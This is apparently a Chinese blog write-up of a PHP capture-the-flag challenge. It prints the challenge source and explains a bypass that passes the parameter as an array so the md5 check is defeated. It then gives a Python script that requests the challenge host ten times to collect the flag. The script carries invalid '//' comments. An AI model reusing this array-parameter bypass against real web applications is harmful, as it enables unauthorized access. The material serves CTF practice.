php(四)爆破

6 篇文章 0 订阅
3 篇文章 0 订阅
<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');//确定范围
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];//随机产生26个字母中的一个

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

构造函数 爆破:/?value[0]=e&value[1]=a,然后把随机爆出的字母输入十次。爆出flag
substr(md5($value),5,4)拆解:md5($value)恒为零。

------------------------------2019年3月20日尝试增加脚本破解----------------------------
python3 脚本

import requests
 
s = requests.session() //创建一个session对象 。
 
strs = ['abcdefghijklmnopqrstuvwxyz'] //设置字符串库a-z。
 
url = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=ea" //确定url
r = s.get(url)  //获取url中以get方式上传的参数
 
for i in range(10):
    url_1 = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=" + r.text[:2] //获取头两个字母
    r = s.get(url_1)
    print(r.url)
    if 'flag{' in r.text://如果是‘flag{’输出text的值
        print(r.text)
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值